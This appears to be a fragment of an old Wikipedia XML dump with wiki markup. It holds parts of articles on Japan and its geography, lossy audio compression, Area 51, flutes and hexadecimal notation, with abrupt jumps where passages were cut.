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apanese media|Japanese traditional dance}} ==Military== {{main|Japan Self-Defense Forces}} Following centuries of [[feudalism]], Japan established two separate military services in the late 1800s, the [[Imperial Japanese Army]] (modeled upon the army of [[Germany]]) and the [[Imperial Japanese Navy]] (modeled upon the [[Royal Navy]] of the [[United Kingdom|UK]]). Following [[Occupation of Japan|American Occupation]] after [[World War II]], the only time in Japan's recorded history where it had been occupied by a foreign power, the Imperial Army was dissolved in 1945. In 1950, GHQ established the Reserved Police in order to complement the Amercan Army, a large part of which was sent to [[Korea]] to fight the [[Korean War]]. In 1952, when the [[San Francisco Peace Treaty]] is concluded, the Reserved Police lost its legal basis, and the Japanese Government started to prepare the establishment of the Security Forces. At the same time, the Sea Guard was established by the Japanese Government, and these two parties were reformed into the Security Forces later in the same year. The Security Forces were replaced in 1954 by the [[Japan Self-Defense Forces]]. Japan's current constitution prohibits the use of military forces to wage war against other countries. [[Deployment of Japanese troops to Iraq|Japan's involvement]] in the [[Iraq war]], however, marked the first overseas use of its military since [[World War II]]. &lt;references/&gt; ==References== * S. N. Eisenstadt, ''Japanese Civilization: A Comparative View'', [[University of Chicago]] 1995. (ISBN 0226195589) * ''Japan a Profile of Nation'', [[Kodansha]] International, 1999. (ISBN 4770023847) ==Further reading== {{sisterlinks|Japan}} * ''The Cambridge Encyclopaedia of Japan'', [[University of Cambridge|Cambridge Univ]]. Press, 1993 (ISBN 0521403529) * De Mente, ''The Japanese Have a Word For It'', [[McGraw-Hill]], 1997 (ISBN 0844283169) * Henshall, ''A History of Japan'', Palgrave Macmillan, 2001 (ISBN 0312233701) * Jansen, ''The Making of Modern Japan'', Belknap, 2000 (ISBN 0674003349) * ''Japan At A Glance'', Kodansha, 1998 (ISBN 4770020805) * Johnson, ''Japan: Who Governs?'', W.W. Norton, 1996 (ISBN 0393314502) * ''Lonely Planet Japan'', Lonely Planet Publications, 2003 (ISBN 1740591623) * Reischauer, ''Japan: The Story of a Nation'', McGraw-Hill, 1989 (ISBN 0075570742) * Sugimoto et al., ''An Introduction to Japanese Society'', Cambridge Univ. Press, 2003 (ISBN 0521529255) * Totman, ''A History of Modern Japan'', 2d ed., Blackwell, 2005 (ISBN 1405123591) * Van Wolferen, ''The Enigma of Japanese Power'', Vintage, 1990 (ISBN 0679728023) ==Miscellaneous topics== {{col-begin}} {{col-4}} * [[Samurai]] - Japanese warrior * [[Bushido]] - The way of warrior - Japanese spirit * [[Kendo]] - Japanese martial art - the way of sword * [[Communications in Japan]] * [[Ethnic issues in Japan]] * [[Human rights in Japan]] {{col-4}} * [[Japan Self-Defense Forces|Military of Japan]] * [[Japanese war crimes]] * [[Japanese calendar]] * [[Japanese mobile phone culture]] * [[Japanese fashion]] * [[Japanese law]] {{col-4}} * [[Japanese media|Japanese Television and Radio]] * [[Japanese miniaturization culture]] * [[Japanese mythology]] * [[Japanese nationalism]] * [[Japanese Wolf|Japanese wolf]] (extinct) * [[Law Concerning the National Flag and Anthem]] {{col-4}} * [[List of Japanese people]] * [[List of Japan-related topics]] * [[List of national parks of Japan]] * [[Portal:Japan|Portal]] to Japan * [[Transportation in Japan]] * [[Japanese unit]]s of measurement * [[Scout Association of Japan]] {{col-end}} ==External links== {{col-begin}} {{col-2}} ===Official=== *[http://courtdomino2.courts.go.jp/home.nsf/ehome?OpenPage Courts.go.jp] - Official site of the Japanese Supreme Court *[http://www.kantei.go.jp/foreign/index-e.html Kantei.go.jp] - Official prime ministerial and cabinet site *[http://www.kunaicho.go.jp/eindex.html Kunaicho.go.jp] - Official site of the Imperial family. *[http://www.kantei.go.jp/foreign/link/links_e.html Links to Ministries and other Organizations] *[http://www.mofa.go.jp/ Ministry of Foreign Affairs] - Detailed papers on Japan's foreign policy, education programs, culture and life. *[http://www.sangiin.go.jp/eng/index.htm Sangi-in.go.jp] - Official site of the House of Councillors *[http://www.shugiin.go.jp/index.nsf/html/index_e.htm Shugi-in.go.jp] - Official site of the House of Representatives *[http://www.stat.go.jp/english/index.htm Stat.go.jp] - Statistics Bureau Home Page (English) {{col-2}} ===Media=== *[http://www.nhk.or.jp/daily/english/ NHK World Daily News] *[http://home.kyodo.co.jp/ Kyodo News (Wire Service, English)] *[http://www.3yen.com/ 3Yen (Daily news, English)] ===Other=== *[http://www.cia.gov/cia/publications/factbook/geos/ja.html CIA World Factbook - ''Japan''] *[http://www.japanesestudies.org.uk ''electronic journal of contemporary japanese studies''] *[http://www.guardian.co.uk/japan/0,7368,450622,00.html Guardian Unlimited - ''Special Report: Japan''] *[http://lcweb2.loc.gov/frd/cs/jptoc.html Library of Congress - ''Country Study: Japan''] data as of January 1994 *{{wikitravel}} {{col-end}} {{col-begin}} {{col-2}} {{Japan-portal}} {{East Asia}} {{col-2}} {{UN Security Council}} {{col-end}} {{G8}} {{Asia}} [[Category:East Asian countries]] [[Category:Japan| ]] [[Category:Monarchies]] [[Category:Island nations]] {{Link FA|vi}} {{Link FA|fr}} {{Link FA|no}} [[af:Japan]] [[als:Japan]] [[ar:اليابان]] [[an:Chapón]] [[ast:Xapón]] [[bg:Япония]] [[zh-min-nan:Ji̍t-pún]] [[bn:জাপান]] [[bs:Japan]] [[br:Japan]] [[ca:Japó]] [[chr:ᏣᏆᏂ]] [[cs:Japonsko]] [[cy:Japan]] [[da:Japan]] [[de:Japan]] [[et:Jaapan]] [[el:Ιαπωνία]] [[es:Japón]] [[eo:Japanio]] [[fa:ژاپن]] [[fr:Japon]] [[ga:An tSeapáin]] [[gd:Seapan]] [[gl:Xapón - 日本]] [[gu:જાપાન]] [[ko:일본]] [[ht:Japon]] [[hi:जापान]] [[hr:Japan]] [[io:Japonia]] [[id:Jepang]] [[is:Japan]] [[it:Giappone]] [[he:יפן]] [[kn:ಜಪಾನ್]] [[ka:იაპონია]] [[ku:Japonya]] [[lo:ຍີ່ປຸ່ນ]] [[la:Iaponia]] [[lv:Japāna]] [[lt:Japonija]] [[li:Japan]] [[hu:Japán]] [[mk:Јапонија]] [[mg:Japana]] [[mi:Nipono]] [[ms:Jepun]] [[mn:Япон]] [[mo:Жапония]] [[na:Djapan]] [[nl:Japan]] [[nds:Japan]] [[ja:日本]] [[no:Japan]] [[nn:Japan]] [[pl:Japonia]] [[pt:Japão]] [[ro:Japonia]] [[ru:Япония]] [[se:Japána]] [[sq:Japonia]] [[scn:Giappuni]] [[simple:Japan]] [[sk:Japonsko]] [[sl:Japonska]] [[sr:Јапан]] [[su:Jepang]] [[fi:Japani]] [[sv:Japan]] [[tl:Hapon (bansa)]] [[ta:ஜப்பான்]] [[th:ประเทศญี่ปุ่น]] [[vi:Nhật Bản]] [[tr:Japonya]] [[uk:Японія]] [[ur:نیہون]] [[yi:יאַפּאַן]] [[zh:日本]]</text> </revision> </page> <page> <title>Geography of Japan</title> <id>15575</id> <revision> <id>39897148</id> <timestamp>2006-02-16T17:34:38Z</timestamp> <contributor> <username>Silsor</username> <id>26195</id> </contributor> <minor /> <comment>typos, grammar, fmt</comment> <text xml:space="preserve">[[Japan]] is an [[island nation]] in [[East Asia]] comprised of a large [[Stratovolcano|stratovolcanic]] [[archipelago]] extending along the [[Pacific Ocean|Pacific]] coast of [[Asia]]. Measured from the [[geographic coordinate]] system, Japan is 36&amp;deg; north of the [[equator]] and 138&amp;deg; east of the [[Prime Meridian]]. The country is north-northeast of [[China]] and [[Taiwan]] (separated by the [[East China Sea]]) and slightly east of [[Korea]] (separated by the [[Sea of Japan]]&lt;sup&gt;1&lt;/sup&gt;). The country is south of [[Siberia]] in [[Russia]]. [[Image:Japan_topo_en.jpg|thumb|Topographic map]] The main [[island]]s, sometimes called the &quot;Home Islands&quot;, (from north to south) are [[Hokkaido]], [[Honshu]] (the &quot;[[mainland]]&quot;), [[Shikoku]] and [[Kyushu]]. There are also about 3,000 smaller islands, including [[Okinawa]], and [[islet]]s, some inhabited and others uninhabited. In total, Japan's territory is 377,835&amp;nbsp;km², of which 374,744&amp;nbsp;km² is land and 3,091&amp;nbsp;km² water. This makes Japan's total area slightly smaller than the [[U.S. state]] of [[Montana]]. Japan is bigger than [[Germany]] and the [[U.K]]. It is 1.7 times the size of North and South [[Korea]] combined, 10 times the size of [[Taiwan]]. ==Statistics== [[Image:Ja-map.png|right|Map of Japan]] '''Location''': Eastern Asia, island chain between the North Pacific Ocean and the [[Sea of Japan]], east of the [[Korean Peninsula]]. '''Geographic coordinates''': 36&amp;nbsp;00&amp;nbsp;N, 138&amp;nbsp;00&amp;nbsp;E '''Map references''': [[Asia]] '''Area''':&lt;br&gt; ''total'': 377,835 km²&lt;br&gt; ''land'': 374,744 km²&lt;br&gt; ''water'': 3,091 km²&lt;br&gt; ''note'': includes [[Bonin Islands]] (Ogasawara-guntō 小笠原群島), [[Daito-shoto|Daitō-shotō]] (大東諸島), [[Minami Torishima]] (南鳥島), [[Okino-tori-shima]] (沖ノ鳥島), [[Ryukyu Islands|Ryūkyū Islands]] (Ryūkyū-shotō 琉球諸島), and [[Volcano Islands]] (Kazan-rettō 火山列島) '''Area - comparative''': slightly smaller than [[Montana]] '''Land boundaries''': 0 km '''Coastline''': 29,751 km '''Maritime claims''': &lt;br&gt; ''exclusive economic zone'': 200 [[nautical mile]]s (370 km)&lt;br&gt; ''territorial sea'': 12 nautical miles (22 km); between 3 and 12 nautical miles (6 and 22 km) in the international straits - [[La Perouse Strait|La Perouse]] or [[Soya Strait|Sōya Strait]] (宗谷海峡), [[Tsugaru Strait]] (津軽), Osumi, and Eastern and Western Channels of the Korea or [[Tsushima Strait]] (対馬海峡) '''Climate''': varies from tropical in south to cool temperate in north '''Terrain''': mostly rugged and mountainous '''Elevation extremes''': &lt;br&gt; ''lowest point'': [[Hachiro-gata|Hachirō-gata]] (八郎潟) -4 m &lt;br&gt; ''highest point'': [[Mount Fuji]] (富士山) 3,776 m '''Natural resources''': negligible [[mineral]] resources, fish '''Land use''': &lt;br&gt; ''arable land'': 11% &lt;br&gt; ''permanent crops'': 1% &lt;br&gt; ''permanent pastures'': 2% &lt;br&gt; ''forests and woodland'': 67% &lt;br&gt; ''o
re lost in the process, because the original data cannot be reconstructed from the lossy compression scheme; only an approximation of that data, determined to be sufficient for this application, can be recovered. If reducing perceptual redundancy does not achieve sufficient compression for a particular application, it may require further lossy compression with a difference in quality that can be more readily perceived by a user. Most lossy compression schemes allow compression parameters to be adjusted to achieve a target rate of data, usually expressed as a [[bit rate]]. Again, the data reduction will be guided by some model of how important the sound is as perceived by the human ear, with the goal of efficiency and optimized quality for the target data rate. (There are many different models used for this perceptual analysis, some better suited to different types of audio than others.) Hence, depending on the bandwidth and storage requirements, the use of lossy compression may result in a perceived reduction of the audio quality that ranges from none to severe. Of course, that trade-off is usually intentional. Because data are removed during lossy compression and cannot be recovered by decompression, lossy compression schemes are completely unsuitable for archival storage. Hence, as noted, even those who use lossy compression (for portable audio applications, for example) may keep a losslessly compressed archive for other applications. In addition, the technology of compression continues to advance, and achieving a state-of-the-art lossy compression would require one to begin again with the lossless, original audio data and compress with the new lossy codec. The nature of lossy compression (for both audio and images) results in increasing degradation of quality if data are decompressed, then recompressed using lossy compression. For these and other reasons, lossy compression is not appropriate for many audio applications. ===Coding methods=== ====Transform domain methods==== In order to determine what information in an audio signal is perceptual irrelevant, most lossy compression algorithms use transforms such as the [[modified discrete cosine transform]] (MDCT) to convert [[time domain]] sampled waveforms into a transform domain. Once transformed, typically into the [[frequency domain]], component frequencies can be allocated bits according to how audible they are. Audibility of spectral components is determined by first calculating a [[masking threshold]], below which it is estimated that sounds will be beyond the limits of human perception. The masking threshold is calculated using the [[absolute threshold of hearing]] and the principles of [[simultaneous masking]] - the phenomenon wherein a signal is masked by another signal separated by frequency - and, in some cases, [[temporal masking]] - where a signal is masked by another signal separated by time. [[Equal-loudness contour]]s may also be used to weight the perceptual importance of different components. Models of the human ear-brain combination incorporating such effects are often called [[psychoacoustic model]]s. ====Time domain methods==== Other types of lossy compressors, such as the [[linear predictive coding]] (LPC) used with speech, are ''source-based coders''. These coders use a model of the sound's generator (such as the human vocal tract with LPC) to whiten the audio signal (i.e., flatten its spectrum) prior to quantization. LPC may also be thought of as a basic perceptual coding technique; reconstruction of an audio signal using a linear predictor shapes the coder's quantization noise into the spectrum of the target signal, partially masking it. ===Applications=== Due to the nature of lossy algorithms, [[audio quality]] suffers when a file is decompressed and recompressed (generational losses). This makes lossy-compressed files unsuitable for professional audio engineering applications, such as sound editing and multitrack recording. However, they are very popular with end users (particularly [[MP3]]), as a megabyte can store about a minute's worth of music at adequate quality. ===Usability=== Usability of lossy audio codecs is determined by: * Perceived audio quality * Compression factor * Speed of compression and decompression * Inherent latency of algorithm (critical for real-time streaming applications; see below) * Software and hardware support Lossy formats are often used for the distribution of streaming audio, or interactive applications (such as the coding of speech for digital transmission in cell phone networks). In such applications, the data must be decompressed as the data flows, rather than after the entire data stream has been transmitted. Not all audio codecs can be used for streaming applications, and for such applications a codec designed to stream data effectively will usually be chosen. Latency results from the methods used to encode and decode the data. Some codecs will analyze a longer segment of the data to optimize efficiency, and then code it in a manner that requires a larger segment of data at one time in order to decode. (Often codecs create segments called a &quot;frame&quot; to create discrete data segments for encoding and decoding.) The inherent [[latency]] of the coding algorithm can be critical; for example, when there is two-way transmission of data, such as with a telephone conversation, significant delays may seriously degrade the perceived quality. In contrast to the speed of compression, which is proportional to the number of operations required by the algorithm, here latency refers to the number of samples which must be analysed before a block of audio is processed. In the minimum case, latency is 0 zero samples (e.g., if the coder/decoder simply reduces the number of bits used to quantize the signal). Time domain algorithms such as LPC also often have low latencies, hence their popularity in speech coding for telephony. In algorithms such as MP3, however, a large number of samples have to be analyzed in order to implement a psychoacoustic model in the frequency domain, and latency is on the order of 23 ms (46 ms for two-way communication). === Speech encoding === [[Speech encoding]] is an important category of audio data compression. The perceptual models used to estimate what a human ear can hear are generally somewhat different from those used for music. The range of frequencies needed to convey the sounds of a human voice are normally far narrower than that needed for music, and the sound is normally less complex. As a result, speech can be encoded at high quality using relatively low bit rates. This is accomplished, in general, by some combination of two approaches: * Only encoding sounds that could be made by a single human voice. * Throwing away more of the data in the signal -- keeping just enough to reconstruct an &quot;intelligible&quot; voice rather than the full frequency range of human [[hearing (sense)|hearing]]. Perhaps the earliest algorithms used in speech encoding (and audio data compression in general) were the [[A-law algorithm]] and the [[mu-law algorithm]]. == See also == *[[audio file format]] *[[audio signal processing]] *[[audio storage]] *[[codec]] *[[container format]] *[[data compression]] *[[digital rights management]] *[[digital signal processing]] *[[list of codecs]] *[[psychoacoustics]] *[[speech encoding]] *[[subband encoding]] == External links == *[http://losslessaudio.blogspot.com/ The Lossless Audio Blog] *[http://www.compression-links.info/Lossless_Audio_Coding List of resources on lossless audio coding] [[Category:Data compression]] [[Category:Audio engineering]] [[de:Audiokompression]] [[es:Compresión de audio]] [[hu:Hangtömörítés]] [[nl:Audiocompressie]] [[fi:Äänenpakkaus]] [[sv:Ljudkomprimering]]</text> </revision> </page> <page> <title>Antipope Victor IV</title> <id>2319</id> <revision> <id>21513646</id> <timestamp>2005-08-21T18:52:31Z</timestamp> <contributor> <ip>82.121.1.208</ip> </contributor> <text xml:space="preserve">{{disambig}} Two [[antipope]]s have claimed the name '''Victor IV'''. * [[Antipope Victor IV (1138)]] * [[Antipope Victor IV (1159-1164)]] [[de:Viktor IV.]] [[fr:Victor IV]] [[pl:Wiktor IV]] [[sv:Viktor IV]]</text> </revision> </page> <page> <title>Audio codecs</title> <id>2320</id> <revision> <id>15900748</id> <timestamp>2002-06-01T11:38:35Z</timestamp> <contributor> <username>Rade Kutil</username> <id>1632</id> </contributor> <minor /> <comment>-&amp;gt; audio codec</comment> <text xml:space="preserve">#REDIRECT [[Audio codec]] </text> </revision> </page> <page> <title>Area 51</title> <id>2321</id> <revision> <id>42150237</id> <timestamp>2006-03-04T03:44:28Z</timestamp> <contributor> <username>InShaneee</username> <id>132185</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/69.23.198.165|69.23.198.165]] ([[User talk:69.23.198.165|talk]]) to last version by Finlay McWalter</comment> <text xml:space="preserve">{{otheruses}} [[Image:Area 51 28 August 1968 6.jpg|thumb|Satellite view of Area 51 from 1968.]] '''Area 51''' (also known as '''Dreamland''', '''Watertown''', '''The Ranch''', '''Paradise Ranch''', '''The Farm''', '''The Box''', '''Groom Lake''', and '''The Directorate for Development Plans Area''') is a remote tract of land in southern [[Nevada]], owned by the [[federal government of the United States]], containing an airfield apparently used for the secret development and testing of new military aircraft. It is famed as the subject of many [[UFO conspiracy theory|UFO conspiracy theories]]. == Geography == [[Image:Wfm area51 map en.png|thumb|left|Map showing Area 51, NAFR, and the NTS]] Area 51 is a section of land of approximately 60 square
olo]] in C or D-flat *[[Treble flute]] in G *[[Soprano flute]] in Eb *[[Western concert flute|Concert flute]] (also called '''C flute''', '''boehm flute''', '''silver flute''', or simply '''flute''') *[[Flute d'amour]] (also called '''tenor flute''') in B-flat or A *[[Alto flute]] in G *[[Bass flute]] in C *[[Contrabass flute]] in C (also called '''octobass flute''') *[[Contra-alto flute]] in G *[[Subcontrabass flute]] in G or C *[[Double contrabass flute]] in C (also called '''octobass flute''') Each of the above instruments has its own range. The piccolo is an octave higher in pitch than the concert flute. Like the concert flute, it reads music in C, but sounds one octave higher. The alto flute is in the key of G, and extends the low register range of the flute to the G below middle C. Its highest note is a high G (4 ledger lines above the treble clef staff). The bass flute is an octave lower than the concert flute, and the contrabass flute is an octave lower than the bass flute. Less commonly seen flutes include the [[treble flute]] in G, pitched one octave higher than the alto flute; the [[soprano flute]], between the treble and concert; and the tenor flute or [[flute d'amour]] in B flat or A, pitched between the concert and alto. The lowest sizes (larger than the bass flute) have all been developed in the 20th century; these include the [[sub-bass flute]] is pitched in F, between the bass and contrabass; the [[subcontrabass flute]] (pitched in G or C), the [[contra-alto flute]] (pitched in G, one octave below the alto), and the [[double contrabass flute]] in C, one octave lower than the contrabass. The flute sizes other than the concert flute and piccolo are sometimes called [[harmony flutes]]. [[Image:Zampoña.jpg|thumb|right|Playing the ''zampoña'', an [[Inca]] instrument and type of pan pipes.]] Flutes may be open on one or both of their ends. The [[ocarina]], [[pan pipes]], [[concert whistle]], [[Jug (musical instrument)|jug]], [[police-whistle]], and [[bosun's whistle]] are closed-ended. Open-ended flutes such as the concert flute and the recorder have more harmonics, and thus more flexibility for the player, and brighter timbres. An organ pipe may be either open or closed, depending on the sound desired. Flutes can be played with several different air sources. Conventional flutes are blown with the mouth, although some cultures use [[nose flute]]s. [[Organ (music)|Organs]] are blown by bellows or fans. ==Flute acoustics== A flute produces [[sound]] when a stream of air directed across the top of a hole bounces in and out of the hole. Some engineers have called this a [[fluid]]ic multivibrator, because it forms a mechanical analogy to an [[electronics|electronic]] circuit called a [[multivibrator]]. The stream beats against the air in a resonator, usually a tube. The player changes the pitch of the flute by changing the effective length of the resonator. This is done either by closing holes, or more rarely, with a slide similar to a [[trombone]]'s slide. Because the air-stream has a lower mass than most resonators used in musical instruments, it can beat faster, but with less momentum. As a result, flutes tend to be softer, but higher-pitched, than other sound generators of the same size. To be louder, a flute must use a larger resonator and a wider air-stream. A flute can generally be made louder by making its resonator and tone-holes larger. This is why police whistles, a form of flute, are very wide for their pitch, and why organs can be far louder than concert flutes: an organ pipe's tone-hole may be several [[inch]]es wide, while a concert flute's is a fraction of an inch. The air-stream must be flat, and precisely aimed at the correct angle and velocity, or else it will not vibrate. In fippled flutes, a precisely machined slot extrudes the air. In organs, the air is supplied by a regulated blower. In non-fipple flutes, especially the concert flute and piccolo, the player must form and direct the stream with his or her lips, which is called an embouchure. This allows the player a wide range of expressions in pitch, volume, and timbre, especially in comparison to fipple flutes. However, it also makes the transverse flute immensely more difficult for a beginner to get a full sound out of than fipple flutes such as the [[recorder]]. Transverse flutes also take more air to play, which requires deeper breathing and makes [[circular breathing]] trickier, but still not impossible. Generally, the quality called &quot;tone colour&quot; or &quot;timbre&quot; varies because the flute produces harmonics in different intensities. A [[harmonic]] is a frequency that is a whole number multiple of a lower register, or &quot;fundamental&quot; tone of the flute. Generally the air-stream is thinner (to vibrate in more modes), faster (providing more energy to vibrate), and aimed across the hole more shallowly (permitting a more shallow deflection of the airstream to resonate). Almost all flutes can be played in fundamental, octave, tierce, quatre and cinque modes simply by blowing harder and making the air-stream move more quickly and at a more shallow angle. Flute players select their instrument's resonant mode with embouchure and breath control, much as brass players do. The timbre is also affected by the quality of the resonator. Generally, more rigid resonators (such as wood) have a &quot;dead&quot; sound, because they have a higher acoustic impedance, and do not resonate with the harmonics. Concert flutes are expected to produce a &quot;brilliant&quot; sound, with a wide range of harmonics. To help this, they are thin tubes made of hard-drawn [[alloys]]. These are more mechanically elastic than wood, and therefore vibrate in more modes. Theoretically, flutes constructed in thin tubes of elastic but heavy metals, such as alloys of [[gold]], [[tungsten]], [[platinum]] or [[osmium]] sound &quot;richer&quot; because they vibrate to a lower, therefore more audible, range of harmonics. This effect also explains the good tone of bronze and brass flutes, which are less massive, but more elastic. ==The Western concert flutes== [[Image:ModernFlute.jpg|thumb|right|400px|A Modern, Closed hole (&quot;Plateau&quot;) model flute]] The [[Western concert flute]] is a transverse flute which is closed at the top. Near the top is the ''embouchure hole'', against which the player blows. The flute has circular finger-holes, various combinations of which can be opened or closed by the flautist, by means of a mechanism of keys, to produce the various notes in the flute's [[playing range]]. The note produced depends on which finger-holes are opened or closed by the flautist and on how the flute is blown by the flautist. With rare exceptions (i.e., flutes with custom-made fingering-systems), the [[Boehm system]] is the fingering-system in correspondence with which Western concert flutes are designed and manufactured. The standard concert flute is [[Pitch (music)|pitch]]ed in C and has a range of about 3 and a half [[octave]]s starting from [[middle C]]. However, many professional flutes have an extra key to reach the B directly below middle C. Also commonly used in [[orchestra]]s is the [[piccolo]], a small flute usually pitched one octave above the concert flute. Alto and bass flutes, respectively pitched a perfect fourth and an octave below the concert flute, are used occasionally. Parts for the alto flute are more common than for the bass. Many other sizes of flute and piccolo are used from time to time. A much-less common instrument of the current pitching system is the treble G flute. An older pitching system, used principally in older wind-band music, includes D-flat piccolos, E-flat soprano flutes (the primary instrument, equivalent to today's concert C flutes), F alto flutes, and B-flat bass flutes. The modern professional concert flute is generally made of [[silver]], [[gold]], or combinations of the two. Student instruments are usually made of nickel silver, or silver-plated [[brass]]. Curved headjoints are also available for student flutes which make the flute shorter making it possible for children as young as 3 years old to play the flute. Wooden flutes and headjoints are more widely available than in the past. The modern concert flute comes with various options. The B-flat key (invented and pioneered by [[Briccialdi]]) and the B foot joint (which extends the flute's range down one semitone) are practically standard. Open hole flutes (where some keys have a circular hole through the middle that the player must cover with fingertips) are common among concert-level players, though some flautists (particularly students, but sometimes even professional flutists as well) select closed-hole &quot;plateau&quot; keys. Students often use temporary plugs to cover the holes in the keys until they master the more exact finger-placement that open-hole keys demand. Some people believe that open-hole keys permit louder and clearer sound projection in the flute's lower range. Open-hole keys are also needed for some modern &quot;extended&quot; avant garde pieces, including those requiring the player to play harmonic overtones, or to manipulate &quot;breathy&quot; sounds in addition to the traditional &quot;pure&quot; tone. Open-hole keys are typical of French technique, championed by the [[Paris Conservatoire]], which dominated in the 20th century. However, the century has changed, and the French school is under fire; specifically, the placement of the G-key (previously offset in student models and inline in professional models) may or may not be moving, depending on whom you ask. Less controversial options include the amusingly named &quot;gizmo key&quot;, which facilitates C7. To play the Western concert flute, one holds the flute in a transverse position, and blows across the hole in the mouthpiece. To distinguish separate notes, one pushes down the keys of the flute in disti
. Another example is the [[magic number (programming)|magic number]] in FAT Mach-O files, which is &quot;&lt;code&gt;CAFEBABE&lt;/code&gt;&quot;. A [[Knuth reward check]] is one hexadecimal dollar, or $2.56. [[0xdeadbeef]] is often put into uninitialized memory. ==Mapping to binary== When working with computers we often need to deal with binary data. It is much easier for humans to handle numbers in hexadecimal than in binary (just think of lots of '0's and '1's) and whilst we are more familiar with the base 10 system, it is much easier to map binary to hexadecimal than to decimal since each hexadecimal digit maps to a whole number of bits (4&lt;sub&gt;10&lt;/sub&gt;). Consider converting 1111&lt;sub&gt;2&lt;/sub&gt; to base 10. Since each [[Positional_notation|position]] in a binary (base 2) number can only be either a 1 or 0, its value may be easily determined by its position from the right: *0001&lt;sub&gt;2&lt;/sub&gt; = 1&lt;sub&gt;10&lt;/sub&gt; *0010&lt;sub&gt;2&lt;/sub&gt; = 2&lt;sub&gt;10&lt;/sub&gt; *0100&lt;sub&gt;2&lt;/sub&gt; = 4&lt;sub&gt;10&lt;/sub&gt; *1000&lt;sub&gt;2&lt;/sub&gt; = 8&lt;sub&gt;10&lt;/sub&gt; Therefore: &lt;table&gt; &lt;tr&gt; &lt;td&gt;1111&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; &lt;td&gt; = 8&lt;sub&gt;10&lt;/sub&gt; + 4&lt;sub&gt;10&lt;/sub&gt; + 2&lt;sub&gt;10&lt;/sub&gt; + 1&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt; = 15&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; This is a very simple example which still requires the addition of 4 numbers; whereas, with some practice, 1111&lt;sub&gt;2&lt;/sub&gt; can be mapped directly to F&lt;sub&gt;16&lt;/sub&gt; in one step (see table in [[Hexadecimal#Representing hexadecimal|Representing hexadecimal]]). When the binary number is very much greater, conversion to decimal becomes very much more tedious; however, when mapping to hexadecimal, it is simple to divide the binary number up in blocks of 4 positions and map each block of 4 bits to a single position hexadecimal number. For example a tedious conversion to decimal: &lt;table&gt; &lt;tr&gt; &lt;td&gt;01011110101101010010&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; &lt;td&gt; = 262144&lt;sub&gt;10&lt;/sub&gt; + 65536&lt;sub&gt;10&lt;/sub&gt; + 32768&lt;sub&gt;10&lt;/sub&gt; + 16384&lt;sub&gt;10&lt;/sub&gt; + 8192&lt;sub&gt;10&lt;/sub&gt; + 2048&lt;sub&gt;10&lt;/sub&gt; + 512&lt;sub&gt;10&lt;/sub&gt; + 256&lt;sub&gt;10&lt;/sub&gt; + 64&lt;sub&gt;10&lt;/sub&gt; + 16&lt;sub&gt;10&lt;/sub&gt; + 2&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt; = 387922&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; Compared to the conversion to hexadecimal: &lt;table&gt; &lt;tr&gt; &lt;td&gt;01011110101101010010&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; &lt;td&gt; = &lt;/td&gt; &lt;td&gt;0101&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt; &lt;td&gt;1110&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt; &lt;td&gt;1011&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt; &lt;td&gt;0101&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt; &lt;td&gt;0010&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt; = &lt;/td&gt; &lt;td align=&quot;center&quot;&gt;5&lt;/td&gt; &lt;td align=&quot;center&quot;&gt;E&lt;/td&gt; &lt;td align=&quot;center&quot;&gt;B&lt;/td&gt; &lt;td align=&quot;center&quot;&gt;5&lt;/td&gt; &lt;td align=&quot;center&quot;&gt;2&lt;sub&gt;16&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt; = &lt;/td&gt; &lt;td colspan=&quot;5&quot;&gt;5EB52&lt;sub&gt;16&lt;/sub&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; Conversion from hexadecimal back to binary is just as direct. [[Octal]] is also useful as a way for humans to deal with computer data (in blocks of 3 bits instead of 4); however, hexadecimal's big advantage over octal is that exactly 2 digits represent a byte (octet). This means that with hexadecimal, you can easily see from the value of a word what the value of the individual bytes will be; conversely, if you have the values of the bytes, you can easily assemble them to get the value of a word. ==Converting from other bases== ===Division-remainder in source base=== As with all bases there is a simple [[algorithm]] for converting a number to hexadecimal by doing integer division and remainder operations in the source base. Theoretically this is possible from any base but for most humans only decimal and for most computers only binary (which can be converted by far more efficient methods) can be easily handled with this method. Let d be the decimal number to convert, and the series h&lt;sub&gt;i&lt;/sub&gt;h&lt;sub&gt;i-1&lt;/sub&gt;...h&lt;sub&gt;2&lt;/sub&gt;h&lt;sub&gt;1&lt;/sub&gt; be the hexadecimal digits representing the number. 1. H&lt;sub&gt;1&lt;/sub&gt; := d mod 16&lt;br/&gt; 2. D := (d-h&lt;sub&gt;1&lt;/sub&gt;) / 16&lt;br/&gt; 3. If d==0 (return series h&lt;sub&gt;i&lt;/sub&gt;)&lt;br/&gt; else go to 1 &quot;16&quot; may be replaced with any other base that may be desired. The following is a [[JavaScript]] implementation of the above algorithm for converting any number to a hexadecimal in String representation. Its purpose is to illustrate the above algorithm (maybe other uses that may be thought of). To work with data seriously however, it is much more advisable to work with [[bitwise operators]]. &lt;pre&gt;function toHex(d) { var r = d % 16; if(d-r==0) {return toChar(r);} else {return toHex( (d-r)/16 )+toChar(r);} } function toChar(n) { var alpha = &quot;0123456789ABCDEF&quot;; return alpha.charAt(n); }&lt;/pre&gt; ===Addition and multiplication in hexadecimal=== It is also possible to make the conversion by assigning each place in the source base the hexadecimal representation of its place value and then performing multiplication and addition to get the 